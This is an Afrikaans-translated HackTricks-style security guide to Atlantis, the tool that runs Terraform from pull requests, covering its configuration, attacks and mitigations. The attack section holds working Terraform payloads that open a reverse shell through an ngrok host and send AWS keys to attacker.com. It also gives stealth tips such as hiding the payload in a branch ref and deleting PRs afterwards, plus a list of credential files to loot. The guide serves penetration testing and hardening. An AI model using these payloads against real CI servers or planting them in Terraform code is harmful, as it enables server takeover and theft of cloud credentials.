# Atlantis Security

{{#include ../banners/hacktricks-training.md}}

### Basiese Inligting

Atlantis help jou basies om terraform vanaf Pull Requests van jou git bediener te laat loop.

![](<../images/image (161).png>)

### Plaaslike Laboratorium

1. Gaan na die **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) en **aflaai** die een wat vir jou geskik is.
2. Skep 'n **persoonlike token** (met repo toegang) van jou **github** gebruiker.
3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om **met atlantis te kommunikeer**.
1. Jy kan die webblad in 127.0.0.1:4141 toegang.

### Atlantis Toegang

#### Git Bediener Kredensiale

**Atlantis** ondersteun verskeie git gashere soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\
Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **bevoorregte toegang gegee word** (ten minste skryf regte).\
[**Die dokumentasie**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.

> [!WARNING]
> In enige geval, vanuit 'n aanvaller se perspektief, gaan die **Atlantis rekening** een baie **interessante** **te kompromitteer** wees.

#### Webhooks

Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gashere ontvang **legitiem** is.

Een manier om dit te bevestig, sou wees om **slegs versoeke van die IP's** van jou Git gashere toe te laat, maar 'n makliker manier is om 'n Webhook Secret te gebruik.

Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhooks eindpunte aan die internet moet blootstel.

> [!WARNING]
> Atlantis gaan **webhooks blootstel** sodat die git bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet **of jy dit boodskappe kan stuur**.

#### Verskaffer Kredensiale <a href="#provider-credentials" id="provider-credentials"></a>

[Van die dokumentasie:](https://www.runatlantis.io/docs/provider-credentials.html)

Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehost word**. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis kredensiale vir jou spesifieke verskaffer.

Dit is aan jou hoe jy [kredensiale verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis:

- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer kredensiale. Lees hul dokumentasie.
- As jy Atlantis in 'n wolk loop, het baie wolke maniere om wolk API toegang aan toepassings wat daarop loop te gee, bv:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Soek vir "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Baie gebruikers stel omgewing veranderlikes in, bv. `AWS_ACCESS_KEY`, waar Atlantis loop.
- Ander skep die nodige konfigurasie lêers, bv. `~/.aws/credentials`, waar Atlantis loop.
- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer kredensiale te verkry.

> [!WARNING]
> Die **houer** waar **Atlantis** **loop** gaan hoogs waarskynlik **bevoorregte kredensiale** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.

#### Webblad

Standaard sal Atlantis 'n **webblad op poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis toep te laat of nie en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te verander nie, so dit is nie so nuttig nie).

Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk of standaard **geen kredensiale benodig word** om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een).

### Bediener Konfigurasie

Konfigurasie vir `atlantis server` kan gespesifiseer word via opdraglyn vlae, omgewing veranderlikes, 'n konfigurasie lêer of 'n mengsel van die drie.

- Jy kan [**hier die lys van vlae**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wat deur Atlantis bediener ondersteun word, vind.
- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).

Waardes word **in hierdie volgorde gekies**:

1. Vlae
2. Omgewing Veranderlikes
3. Konfigurasie Lêer

> [!WARNING]
> Let daarop dat jy in die konfigurasie dalk interessante waardes soos **tokens en wagwoorde** mag vind.

#### Repos Konfigurasie

Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo spesifiek te spesifiseer. Dit is die prioriteitsorde:

1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Echter, standaard kan sommige sleutels nie hier gespesifiseer word nie sonder sommige vlae wat dit toelaat.
1. Waarskynlik vereis om deur vlae soos `allowed_overrides` of `allow_custom_workflows` toegelaat te word.
2. [**Bediener Kante Konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
3. **Standaard** waardes.

**PR Beskerming**

Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergable`** wees (tak beskermings geslaag) **voor die toep van toepassing is**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.

In die geval dat `allowed_overrides` waar is, kan hierdie instelling **op elke projek oorgeskryf word deur die `/atlantis.yml` lêer**.

**Skripte**

Die repo konfigurasie kan **skripte spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.**

Daar is geen opsie om **hierdie skripte in die **repo `/atlantis.yml`** lêer te spesifiseer nie.

**Workflow**

In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe pasgemaakte workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\
Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow te spesifiseer wat gebruik moet word.**

> [!CAUTION]
> As die [**bediener kant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oorgeskryf**.\
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
>
> ```yaml
> # atlantis.yaml
>
> version: 3
> projects:
>
> - dir: .
>   workflow: custom1
>   workflows:
>   custom1:
>   plan:
>   steps: - init - run: my custom plan command
>   apply:
>   steps: - run: my custom apply command
> ```

**Conftest Beleid Kontrole**

Atlantis ondersteun die uitvoering van **bediener-kant** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir hierdie stap sluit in:

- Ontkenning van die gebruik van 'n lys van modules.
- Bevestiging van eienskappe van 'n hulpbron tydens die skepping.
- Vang onbedoelde hulpbron verwyderings.
- Voorkoming van sekuriteitsrisiko's (bv. blootstelling van veilige poorte aan die publiek).

Jy kan kyk hoe om dit te konfigureer in [**die dokumentasie**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).

### Atlantis Opdragte

[**In die dokumentasie**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:
```bash
# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
```
### Aanvalle

> [!WARNING]
> As jy tydens die ontginning hierdie **fout** vind: `Error: Error acquiring the state lock`

Jy kan dit regmaak deur te hardloop:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Konfigurasie wysiging in nuwe PR

As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis plan`** kan **uitvoer** (of miskien word dit outomaties uitgevoer), **sal jy in staat wees om RCE binne die Atlantis bediener te hê**.

Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf` lêer:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Stealthier Aanval**

Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg:

- In plaas daarvan om die rev shell direk in die terraform-lêer te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)

- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **In plaas daarvan** om 'n **PR na meester** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**.

#### Atlantis plan Geheimen Dump

U kan **geheimen wat deur terraform gebruik word** dump deur `atlantis plan` (`terraform plan`) te loop deur iets soos dit in die terraform-lêer te plaas:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
#### Atlantis toepas RCE - Konfigurasie wysiging in nuwe PR

As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis apply` kan uitvoer, sal jy in staat wees om RCE binne die Atlantis bediener te hê**.

Jy sal egter gewoonlik sommige beskermings moet omseil:

- **Mergeable**: As hierdie beskerming in Atlantis gestel is, kan jy slegs **`atlantis apply` uitvoer as die PR mergeable is** (wat beteken dat die tak beskerming omseil moet word).
- Kontroleer potensiële [**tak beskerming omseilings**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Goedgekeurd**: As hierdie beskerming in Atlantis gestel is, moet 'n **ander gebruiker die PR goedkeur** voordat jy `atlantis apply` kan uitvoer.
- Standaard kan jy die [**Gitbot token misbruik om hierdie beskerming om te seil**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)

Voer **`terraform apply` uit op 'n kwaadwillige Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Jy moet net seker maak dat 'n payload soos die volgende in die `main.tf` lêer eindig:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Volg die **voorstelle van die vorige tegniek** om hierdie aanval op 'n **stealthier manier** uit te voer.

#### Terraform Param Injection

Wanneer jy `atlantis plan` of `atlantis apply` uitvoer, word terraform onder-needs uitgevoer, jy kan opdragte aan terraform deur atlantis deur iets soos te kommentaar:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Iets wat jy kan deurgee, is omgewingsveranderlikes wat dalk nuttig kan wees om sekere beskermings te omseil. Kyk na terraform omgewingsveranderlikes in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)

#### Pasgemaakte Werkvloei

Die uitvoering van **kwaadwillige pasgemaakte bouopdragte** wat in 'n `atlantis.yaml`-lêer gespesifiseer is. Atlantis gebruik die `atlantis.yaml`-lêer van die pull request tak, **nie** van `master`.\
Hierdie moontlikheid is in 'n vorige afdeling genoem:

> [!CAUTION]
> As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan werkvloei **gespesifiseer** word in die **`atlantis.yaml`**-lêer van elke repo. Dit is ook moontlik nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die **werkvloei** wat gebruik gaan word, te **oorheers**.
>
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
>
> ```yaml
> # atlantis.yaml
> version: 3
> projects:
>   - dir: .
>     workflow: custom1
> workflows:
>   custom1:
>     plan:
>       steps:
>         - init
>         - run: my custom plan command
>     apply:
>       steps:
>         - run: my custom apply command
> ```

#### Omseil plan/apply beskermings

As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allowed_overrides` _gekonfigureer_ is met `apply_requirements`, is dit moontlik vir 'n repo om die **plan/apply beskermings te wysig om dit te omseil**.
```yaml
repos:
- id: /.*/
apply_requirements: []
```
#### PR Hijacking

As iemand **`atlantis plan/apply` kommentaar op jou geldige pull requests stuur,** sal dit veroorsaak dat terraform loop wanneer jy nie wil hê dit moet nie.

Boonop, as jy nie in die **branch protection** gekonfigureer het om te vra om elke PR te **herwaardeer** wanneer 'n **nuwe commit gestuur** word nie, kan iemand **kwaadwillige konfigurasies skryf** (kyk vorige scenario's) in die terraform konfigurasie, `atlantis plan/apply` uitvoer en RCE verkry.

Dit is die **instelling** in Github branch protections:

![](<../images/image (216).png>)

#### Webhook Secret

As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis commando's** direk aanroep.

#### Bitbucket

Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **aanvraag van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat.

- Dit beteken dat 'n **aanvaller** **valse versoeke aan Atlantis** kan maak wat lyk asof dit van Bitbucket kom.
- As jy `--repo-allowlist` spesifiseer, kan hulle slegs valse versoeke rakende daardie repos maak, so die meeste skade wat hulle kan aanrig, sal wees om te plan/apply op jou eie repos.
- Om dit te voorkom, toelaat [Bitbucket se IP adresse](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (kyk Uitgaande IPv4 adresse).

### Post-Exploitation

As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste 'n LFI daar het, is daar 'n paar interessante dinge wat jy moet probeer lees:

- `/home/atlantis/.git-credentials` Bevat vcs toegang akkrediteer
- `/atlantis-data/atlantis.db` Bevat vcs toegang akkrediteer met meer inligting
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform staat lêer
- Voorbeeld: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Omgewing veranderlikes
- `/proc/[2-20]/cmdline` Cmd lyn van `atlantis server` (kan sensitiewe data bevat)

### Mitigations

#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>

Omdat enige iemand op openbare pull requests kan kommentaar lewer, selfs met al die sekuriteitsmitigasies beskikbaar, is dit steeds gevaarlik om Atlantis op openbare repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.

#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>

As jy op 'n openbare repo loop (wat nie aanbeveel word nie, kyk bo), moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enige iemand 'n pull request van hul fork na jou repo kan oopmaak.

#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>

Atlantis vereis dat jy 'n allowlist van repositories spesifiseer waarvan dit webhooks sal aanvaar via die `--repo-allowlist` vlag. Byvoorbeeld:

- Spesifieke repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Jou hele organisasie: `--repo-allowlist=github.com/runatlantis/*`
- Elke repository in jou GitHub Enterprise installasie: `--repo-allowlist=github.yourcompany.com/*`
- Alle repositories: `--repo-allowlist=*`. Nuttig wanneer jy in 'n beskermde netwerk is, maar gevaarlik sonder om ook 'n webhook secret in te stel.

Hierdie vlag verseker dat jou Atlantis installasie nie gebruik word met repositories wat jy nie beheer nie. Kyk na `atlantis server --help` vir meer besonderhede.

#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>

As aanvallers pull requests met kwaadwillige Terraform kode indien in jou bedreigingsmodel, moet jy bewus wees dat `terraform apply` goedkeuringe nie genoeg is nie. Dit is moontlik om kwaadwillige kode in 'n `terraform plan` te loop deur die [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) of deur 'n kwaadwillige verskaffer te spesifiseer. Hierdie kode kan dan jou akkrediteer uitvreet.

Om dit te voorkom, kan jy:

1. Verskaffers in die Atlantis beeld bak of gasheer en egress in produksie ontken.
2. Implementeer die verskaffer registrasie protokol intern en ontken openbare egress, sodat jy beheer wie skrywe toegang tot die registrasie het.
3. Wysig jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie-toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees.

#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>

Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewing veranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.

As jy Azure DevOps gebruik, voeg in plaas van webhook secrets 'n basiese gebruikersnaam en wagwoord by.

#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>

Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook gebeurtenisse. Dit vereis die gebruik van 'n HTTPS URL vir jou webhook ligging.

#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>

As jy webhook secrets gebruik, maar jou verkeer is oor HTTP, kan die webhook secrets gesteel word. Aktiveer SSL/HTTPS met die `--ssl-cert-file` en `--ssl-key-file` vlag.

#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>

Dit word baie aanbeveel om verifikasie in die webdiens in te skakel. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag.

Jy kan ook hierdie as omgewing veranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`.

### References

- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)

{{#include ../banners/hacktricks-training.md}}
